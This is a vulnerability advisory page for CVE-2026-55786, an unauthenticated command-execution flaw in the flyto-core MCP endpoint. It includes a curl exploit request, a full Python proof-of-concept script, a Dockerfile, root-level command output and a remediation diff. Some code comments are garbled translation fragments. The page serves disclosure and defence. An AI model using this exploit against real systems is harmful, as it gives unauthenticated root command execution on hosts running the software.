flyto-core CVE-2026-55786
HIGHSeverity by source
AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Default loopback bind makes it Local (AV:L); no auth or interaction (PR:N/UI:N) and low complexity, with arbitrary root command execution giving full C:H/I:H/A:H.
Primary rating from GitHub Advisory.
CVSS VectorGitHub Advisory
Lifecycle Timeline
2DescriptionGitHub Advisory
Unauthenticated Command Execution via HTTP MCP execute_module
Summary
The HTTP MCP endpoint (POST /mcp) in flyto-core accepts unauthenticated JSON-RPC tools/call requests and dispatches them to arbitrary registered modules, including sandbox.execute_shell, which passes attacker-controlled input directly to asyncio.create_subprocess_shell. An unauthenticated attacker can execute arbitrary OS commands as the flyto-core server process. By default the server binds to 127.0.0.1, making this a High-severity local vulnerability (CVSS 8.4); if started with --host 0.0.0.0, it becomes remotely exploitable over the network. Dynamic reproduction confirmed command execution as root inside a Docker container without any Authorization header.
Details
flyto-core exposes an HTTP API via FastAPI. When the API is started (flyto serve), the MCP router is unconditionally mounted at /mcp (src/core/api/server.py:75-78). The route handler at src/core/api/routes/mcp.py:65-66 declares @router.post("") with no Depends(require_auth) dependency, unlike the analogous REST execution routes (src/core/api/routes/modules.py:93) which enforce both authentication and a module denylist.
The complete unauthenticated data flow from source to sink:
src/core/api/server.py:75-78-mcp_routeris mounted under/mcpunconditionally at app creation.src/core/api/routes/mcp.py:65-66-@router.post("")has noDepends(require_auth)guard; any HTTP client may POST to this route.src/core/api/routes/mcp.py:79- the full request body (attacker-controlled JSON) is parsed without validation.src/core/api/routes/mcp.py:103-104- each JSON-RPC item is forwarded tohandle_jsonrpc_requestwithout amodule_filter.src/core/mcp_handler.py:813-838-tools/callwith nameexecute_moduleforwards attacker-controlledmodule_idandparamstoexecute_module().src/core/mcp_handler.py:180,214-215- the module registry resolvesmodule_idand invokes it with attacker-suppliedparams.src/core/modules/registry/decorators.py:96-101- the function wrapper exposesself.paramsascontext['params'].src/core/modules/atomic/sandbox/execute_shell.py:137-139-commandis read directly fromparamswith no sanitization.src/core/modules/atomic/sandbox/execute_shell.py:163-169-commandreachesasyncio.create_subprocess_shellwithshell=Trueand no allowlist or escaping.
The sandbox.execute_shell module is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"] at src/core/api/security.py:126), so even if module_filter were applied it would still be reachable.
Vulnerable code excerpts:
# src/core/api/routes/mcp.py:65-66 - missing auth
@router.post("")
async def mcp_post(request: Request):# src/core/mcp_handler.py:832-838 - attacker-controlled dispatch
elif tool_name == "execute_module":
result = await execute_module(
module_id=arguments.get("module_id", ""),
params=arguments.get("params", {}),
context=arguments.get("context"),
browser_sessions=browser_sessions,
)# src/core/modules/atomic/sandbox/execute_shell.py:137-169 - sink
params = context['params']
command = params.get('command', '')
# ... only empty-command and cwd existence checks ...
proc = await asyncio.create_subprocess_shell(command, ...)Contrast with the protected REST route:
# src/core/api/routes/modules.py:93 - correctly guarded
@router.post("/execute", dependencies=[Depends(require_auth)])The existence of authentication on the REST execution routes demonstrates that a security boundary was intended; the MCP route simply omits it.
PoC
Environment setup (Docker):
# Build the image (context: the report directory containing repo/ and vuln-001/)
docker build \
-f vuln-001/Dockerfile \
-t flyto-vuln-001 \
reports/mcp_57_flytohub__flyto-core/
# Start the server (binds 0.0.0.0:8333 inside the container)
docker run --rm -d \
-p 127.0.0.1:8333:8333 \
--name flyto-vuln-001-test \
flyto-vuln-001Exploit (curl) - no Authorization header:
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'Exploit (Python PoC script):
python3 vuln-001/poc.py \
--host 127.0.0.1 --port 8333 --command idObserved response (dynamic reproduction, Phase 2):
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"structuredContent": {
"ok": true,
"data": {
"stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
"stderr": "",
"exit_code": 0,
"execution_time_ms": 4.84
}
},
"isError": false
}
}The uid=0(root) output confirms arbitrary OS command execution without any authentication. The HTTP response status was 200 OK.
Network-accessible variant:
If the operator starts flyto-core with --host 0.0.0.0 (as the Dockerfile does for demonstration), the same request is reachable from any network host, changing the attack vector from Local to Network.
Recommended remediation:
--- a/src/core/api/routes/mcp.py
+++ b/src/core/api/routes/mcp.py
-from fastapi import APIRouter, Request
+from fastapi import APIRouter, Depends, Request
from fastapi.responses import JSONResponse, Response
from core.mcp_handler import handle_jsonrpc_request
+from core.api.security import require_auth, module_filter
-@router.post("")
+@router.post("", dependencies=[Depends(require_auth)])
async def mcp_post(request: Request):
result = await handle_jsonrpc_request(item, browser_sessions)
+ result = await handle_jsonrpc_request(item, browser_sessions, module_filter=module_filter)
-@router.delete("")
+@router.delete("", dependencies=[Depends(require_auth)])
async def mcp_delete(request: Request):--- a/src/core/api/security.py
+++ b/src/core/api/security.py
-_DEFAULT_DENYLIST = ["shell.*", "process.*"]
+_DEFAULT_DENYLIST = ["shell.*", "process.*", "sandbox.*"]Impact
This is an unauthenticated OS command injection vulnerability. Any process that can reach the POST /mcp HTTP endpoint (locally by default, or remotely if the server is bound to a non-loopback interface) can execute arbitrary shell commands with the full privileges of the flyto-core server process. In the dynamic reproduction, the server ran as root, meaning full system compromise is possible.
Affected parties include:
- Developers and local users running
flyto serveon their workstations - any other local process (e.g., malicious code in a browser tab or another installed application) can pivot through the loopback interface. - Infrastructure operators who expose the API on a non-loopback interface (
--host 0.0.0.0) without network-level access controls - the attack surface becomes the entire network.
Potential consequences include arbitrary file read/write, credential exfiltration, lateral movement, and full host takeover.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
# lxml buildtext requiredtext whentext text
RUN apt-get update && apt-get install -y --no-install-recommends \
gcc g++ libxml2-dev libxslt1-dev \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# local repo copy source (build context: mcp_57_flytohub__flyto-core/)
COPY repo/ /app/repo/
# flyto-core[api] install (fastapi + uvicorn contains)
RUN pip install --no-cache-dir "/app/repo[api]"
EXPOSE 8333
# container externalfrom accessibletext 0.0.0.0 binding
CMD ["python", "-c", "from core.api.server import main; main(host='0.0.0.0', port=8333)"]poc.py
#!/usr/bin/env python3
"""
VULN-001 PoC: Unauthenticated Command Execution via HTTP MCP execute_module
Target: flyto-core 2.26.2
Route: POST /mcp (no auth dependency - mcp.py:65)
Sink: asyncio.create_subprocess_shell (execute_shell.py:163)
CWE: CWE-306 Missing Authentication for Critical Function
Usage:
python3 poc.py [--host 127.0.0.1] [--port 8333] [--command id]
"""
import sys
import time
import json
import argparse
import urllib.request
import urllib.error
def wait_for_server(base_url: str, max_wait: int = 45) -> bool:
"""servertext readytext until /health text."""
for i in range(max_wait):
try:
with urllib.request.urlopen(f"{base_url}/health", timeout=2) as resp:
if resp.status == 200:
print(f"[+] server is ready ({i}s textand)")
return True
except Exception:
pass
time.sleep(1)
if i % 5 == 4:
print(f"[*] wait in progress... ({i+1}s)")
return False
def send_exploit(base_url: str, command: str) -> dict:
"""without authentication POST /mcptext arbitrary command execute request."""
payload = {
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {
"command": command,
"timeout": 10
}
}
}
}
data = json.dumps(payload).encode("utf-8")
req = urllib.request.Request(
f"{base_url}/mcp",
data=data,
headers={"Content-Type": "application/json"},
method="POST",
)
with urllib.request.urlopen(req, timeout=20) as resp:
body = resp.read().decode("utf-8")
return json.loads(body)
def main():
parser = argparse.ArgumentParser(description="VULN-001 PoC - flyto-core unauthenticated RCE via MCP")
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=8333)
parser.add_argument("--command", default="id", help="OS command to execute (default: id)")
args = parser.parse_args()
base_url = f"http://{args.host}:{args.port}"
print("=" * 60)
print("VULN-001: Unauthenticated RCE via HTTP MCP execute_module")
print(f" Target : {base_url}/mcp")
print(f" Command : {args.command}")
print("=" * 60)
print()
# 1. wait for server readiness
print("[*] waiting for server startup in progress...")
if not wait_for_server(base_url):
print("[-] FAIL: servertext whenbetween within not respond not")
sys.exit(1)
# 2. without authentication exploit send request
print(f"\n[*] POST {base_url}/mcp - without an Authorization header send")
try:
result = send_exploit(base_url, args.command)
except urllib.error.HTTPError as e:
body = e.read().decode("utf-8", errors="replace")
print(f"[-] HTTP {e.code}: {body}")
print("[-] FAIL: servertext requesttext rejected (vulnerability none or text textdone)")
sys.exit(1)
except Exception as e:
print(f"[-] text error: {e}")
sys.exit(1)
# 3. response parse
print(f"\n[*] Raw JSON response:\n{json.dumps(result, indent=2, ensure_ascii=False)}\n")
# result.result.structuredContent.data.stdout
try:
structured = result["result"]["structuredContent"]
data = structured["data"]
stdout = data.get("stdout", "")
stderr = data.get("stderr", "")
exit_code = data.get("exit_code", -1)
except (KeyError, TypeError) as e:
print(f"[-] FAIL: expected response structure text - {e}")
print(f" result keys: {list(result.get('result', {}).keys())}")
sys.exit(1)
print(f"[*] exit_code = {exit_code}")
print(f"[*] stdout = {stdout!r}")
print(f"[*] stderr = {stderr!r}")
print()
# 4. success verdict: `id` command resulttext uid= contains whether
if "uid=" in stdout:
print("[+] ============================================================")
print("[+] PASS: without authentication text OS command execution check!")
print(f"[+] command output: {stdout.strip()}")
print("[+] ============================================================")
sys.exit(0)
else:
print("[-] FAIL: stdouttext 'uid=' none - commandtext executenot text outputtext different")
sys.exit(1)
if __name__ == "__main__":
main()Articles & Coverage 2
AnalysisAI
Unauthenticated OS command execution in flyto-core (Python package, confirmed on 2.26.2) allows any client that can reach the HTTP MCP endpoint (POST /mcp) to run arbitrary shell commands as the server process. The JSON-RPC tools/call handler lacks the require_auth dependency present on the equivalent REST route, so an attacker can invoke execute_module against sandbox.execute_shell and reach asyncio.create_subprocess_shell with attacker-controlled input. Publicly available exploit code exists (a curl one-liner and poc.py in the advisory); there is no CISA KEV listing and no EPSS score provided, and by default the server binds to 127.0.0.1, making this a local (CVSS 8.4) issue that becomes network-exploitable only when started with --host 0.0.0.0.
Technical ContextAI
flyto-core is a Python automation framework that exposes an HTTP API via FastAPI (flyto serve) and implements a Model Context Protocol (MCP) JSON-RPC endpoint. The MCP router is unconditionally mounted at /mcp in src/core/api/server.py, and its POST handler (src/core/api/routes/mcp.py) omits the Depends(require_auth) guard that protects the analogous REST execution route in routes/modules.py. Once a tools/call request with name execute_module reaches mcp_handler, the module registry resolves the attacker-supplied module_id and passes attacker-supplied params to the sandbox.execute_shell atomic module, which reads command directly from params and calls asyncio.create_subprocess_shell with shell=True and no allowlist, escaping, or sanitization. The root cause spans two weakness classes: CWE-306 (Missing Authentication for Critical Function) on the MCP route and CWE-78 (OS Command Injection) at the shell sink. The affected package is identified by CPE pkg:pip/flyto-core. Notably, sandbox.execute_shell is not covered by the default denylist (_DEFAULT_DENYLIST = ["shell.*", "process.*"]), so it would remain reachable even if the module_filter were applied.
RemediationAI
Upstream fix available (PR/commit); released patched version not independently confirmed - the advisory GHSA-h9f9-h6gm-wc85 provides a source diff rather than a tagged release, so upgrade to the first flyto-core release that incorporates it once published (verify against https://github.com/flytohub/flyto-core/security/advisories/GHSA-h9f9-h6gm-wc85). The core fix adds Depends(require_auth) to the POST and DELETE handlers in src/core/api/routes/mcp.py and passes module_filter into handle_jsonrpc_request, and extends _DEFAULT_DENYLIST in src/core/api/security.py to include "sandbox.*". As immediate compensating controls until a patched build is deployed: keep the server bound to 127.0.0.1 and never start it with --host 0.0.0.0 on untrusted networks (trade-off: prevents legitimate remote API clients); place the /mcp endpoint behind an authenticating reverse proxy or network ACL/firewall that blocks external access to the listening port (trade-off: adds an infrastructure component and does not stop local-process pivoting); and if the shell capability is unneeded, add "sandbox.*" (and specifically sandbox.execute_shell) to the denylist configuration to remove the command-execution sink (trade-off: disables legitimate shell-module workflows). On shared or developer hosts, treat loopback as reachable by other local processes and restrict who can run flyto serve.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-78 – OS Command Injection
View allSame technique Authentication Bypass
View allShare
External POC / Exploit Code
Leaving vuln.today
GHSA-h9f9-h6gm-wc85